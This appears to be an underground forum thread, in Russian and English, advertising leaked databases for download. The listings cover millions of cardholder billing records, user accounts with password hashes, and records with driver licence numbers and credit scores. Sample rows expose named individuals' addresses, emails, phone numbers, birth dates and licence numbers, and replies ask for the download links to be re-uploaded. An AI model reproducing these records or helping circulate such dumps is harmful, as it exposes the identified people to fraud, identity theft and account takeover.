{"CardholderFirstName": "THEODORE", "CardholderLastName": "HACHTEL", "BillingAddressLine1": "1100 South College Avenue", "BillingAddressLine2": null, "BillingCity": "Decatur", "BillingStateCode": "TX", "BillingZipCode": "76234", "ExpirationMonth": "06", "ExpirationYear": "2021"}
{"CardholderFirstName": "ROBERT", "CardholderLastName": "GROTHE", "BillingAddressLine1": "177 cr 3661", "BillingAddressLine2": null, "BillingCity": "PARADISE", "BillingStateCode": "TX", "BillingZipCode": "76073", "ExpirationMonth": "03", "ExpirationYear": "2022"}


390к юзеров
Код:
"id","created","username","password","email","givenname","familyname","active","phonenumber","verified","salt"
fff9adc4-1d3b-4d7c-92e5-c811e3021053,2022-03-11 23:27:45.933,maryhauger01@yahoo.com,$2a$10$zsV8/9ebbsSKzM4q982ukOQ9.kvTdcI8tXInecq2m8Tv4mSRlcnSq,maryhauger01@yahoo.com,Mary,Hauger,1,,1,
fff9c1d2-c4e0-4712-80c7-116166c6d5e4,2020-11-02 00:16:26.947,jenjland21@icloud.com,$2a$10$A8tX9cnAA6sBcMfbQXiDleRgHtqFbwhVWErbg05c1ik8GqEmJ.2PK,jenjland21@icloud.com,Jennifer,Land,1,,1,
fff9cff0-b287-4312-9db6-6fa826f8e7b3,2021-05-16 23:28:43.157,timrickelman@yahoo.com,$2a$10$qLNTwkjqzkJYplfdloazaeQCNdCuVEgRFmfteyRTVgNIuOKg2RYJi,timrickelman@yahoo.com,Timothy,Rickelman,1,,1,


2.400.000+ записей с driver license, credit score, phone, email
Код:
Juanita Atkinson (H)|1979-11-05|TX|02921313|atkinsonmichael5948@yahoo.com|972-878-3173|-999 - K1; 124 - K1|6032 Farm to Market Road 2727, Unknown, Kaufman, 75142, TX
Michael Atkinson (S)|1975-08-09|TX|03903339|atkinsonmichael5948@yahoo.com|Unknown|-999 - NA|6032 Farm to Market Road 2727, Unknown, Kaufman, 75142, TX
 
And perhaps I’ll update the links because the expa has come to life.

2.900.000+ data about their CC
JSON:
{"CardholderFirstName": "BRIAN", "CardholderLastName": "PRICE", "BillingAddressLine1": "1031 Summerplace Ln", "BillingAddressLine2": null, "BillingCity": "Southlake", "BillingStateCode": "TX", "BillingZipCode": "76092", "ExpirationMonth": "05", "ExpirationYear": "2023"}
{"CardholderFirstName": "RONALDO", "CardholderLastName": "DELILE", "BillingAddressLine1": "12443 Lake Whitney", "BillingAddressLine2": null, "BillingCity": "San Antonio", "BillingStateCode": "TX", "BillingZipCode": "78253", "ExpirationMonth": "4", "ExpirationYear": "2023"}
{"CardholderFirstName": "ACEY", "CardholderLastName": "SWINTON", "BillingAddressLine1": "21075 Briar Patch Ln", "BillingAddressLine2": null, "BillingCity": "Lexington Park", "BillingStateCode": "MD", "BillingZipCode": "20653", "ExpirationMonth": "02", "ExpirationYear": "2021"}
{"CardholderFirstName": "QIANA", "CardholderLastName": "CUMMINGS-JOHNSON", "BillingAddressLine1": "5600 Bentley Ct", "BillingAddressLine2": "204", "BillingCity": "Virginia Beach", "BillingStateCode": "VA", "BillingZipCode": "23462", "ExpirationMonth": "08", "ExpirationYear": "2024"}
{"CardholderFirstName": "ERICA", "CardholderLastName": "BOISSEAU", "BillingAddressLine1": "212 W 33rd St", "BillingAddressLine2": null, "BillingCity": "Richmond", "BillingStateCode": "VA", "BillingZipCode": "23225", "ExpirationMonth": "10", "ExpirationYear": "2022"}
{"CardholderFirstName": "TERESA", "CardholderLastName": "GIBSON", "BillingAddressLine1": "167 Labrador Ln", "BillingAddressLine2": null, "BillingCity": "Hallsville", "BillingStateCode": "TX", "BillingZipCode": "75650", "ExpirationMonth": "03", "ExpirationYear": "2022"}
{"CardholderFirstName": "JASON", "CardholderLastName": "CARLSON", "BillingAddressLine1": "2012 Timbers Hill Rd", "BillingAddressLine2": "Apt G", "BillingCity": "North Chesterfield", "BillingStateCode": "VA", "BillingZipCode": "23235", "ExpirationMonth": "03", "ExpirationYear": "2023"}
{"CardholderFirstName": "LOTA B", "CardholderLastName": "TUAZON", "BillingAddressLine1": "4614 Mason Ct", "BillingAddressLine2": null, "BillingCity": "Sugar Land", "BillingStateCode": "TX", "BillingZipCode": "77479", "ExpirationMonth": "8", "ExpirationYear": "2025"}
{"CardholderFirstName": "THEODORE", "CardholderLastName": "HACHTEL", "BillingAddressLine1": "1100 South College Avenue", "BillingAddressLine2": null, "BillingCity": "Decatur", "BillingStateCode": "TX", "BillingZipCode": "76234", "ExpirationMonth": "06", "ExpirationYear": "2021"}
{"CardholderFirstName": "ROBERT", "CardholderLastName": "GROTHE", "BillingAddressLine1": "177 cr 3661", "BillingAddressLine2": null, "BillingCity": "PARADISE", "BillingStateCode": "TX", "BillingZipCode": "76073", "ExpirationMonth": "03", "ExpirationYear": "2022"}


390k users
Код:
"id","created","username","password","email","givenname","familyname","active","phonenumber","verified","salt"
fff9adc4-1d3b-4d7c-92e5-c811e3021053,2022-03-11 23:27:45.933,maryhauger01@yahoo.com,$2a$10$zsV8/9ebbsSKzM4q982ukOQ9.kvTdcI8tXInecq2m8Tv4mSRlcnSq,maryhauger01@yahoo.com,Mary,Hauger,1,,1,
fff9c1d2-c4e0-4712-80c7-116166c6d5e4,2020-11-02 00:16:26.947,jenjland21@icloud.com,$2a$10$A8tX9cnAA6sBcMfbQXiDleRgHtqFbwhVWErbg05c1ik8GqEmJ.2PK,jenjland21@icloud.com,Jennifer,Land,1,,1,
fff9cff0-b287-4312-9db6-6fa826f8e7b3,2021-05-16 23:28:43.157,timrickelman@yahoo.com,$2a$10$qLNTwkjqzkJYplfdloazaeQCNdCuVEgRFmfteyRTVgNIuOKg2RYJi,timrickelman@yahoo.com,Timothy,Rickelman,1,,1,


2.400.000+ entries with driver license, credit score, phone, email
Код:
Juanita Atkinson (H)|1979-11-05|TX|02921313|atkinsonmichael5948@yahoo.com|972-878-3173|-999 - K1; 124 - K1|6032 Farm to Market Road 2727, Unknown, Kaufman, 75142, TX
Michael Atkinson (S)|1975-08-09|TX|03903339|atkinsonmichael5948@yahoo.com|Unknown|-999 - NA|6032 Farm to Market Road 2727, Unknown, Kaufman, 75142, TX
can you reupload the download links please
thanks
 
Уважаемый ТС пожалуйста, перезалейте БД. Спасибо за вашу работу! (Если кто то скачал поделитесь плиз, отблагодарю!)
Screenshot_6.jpg
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх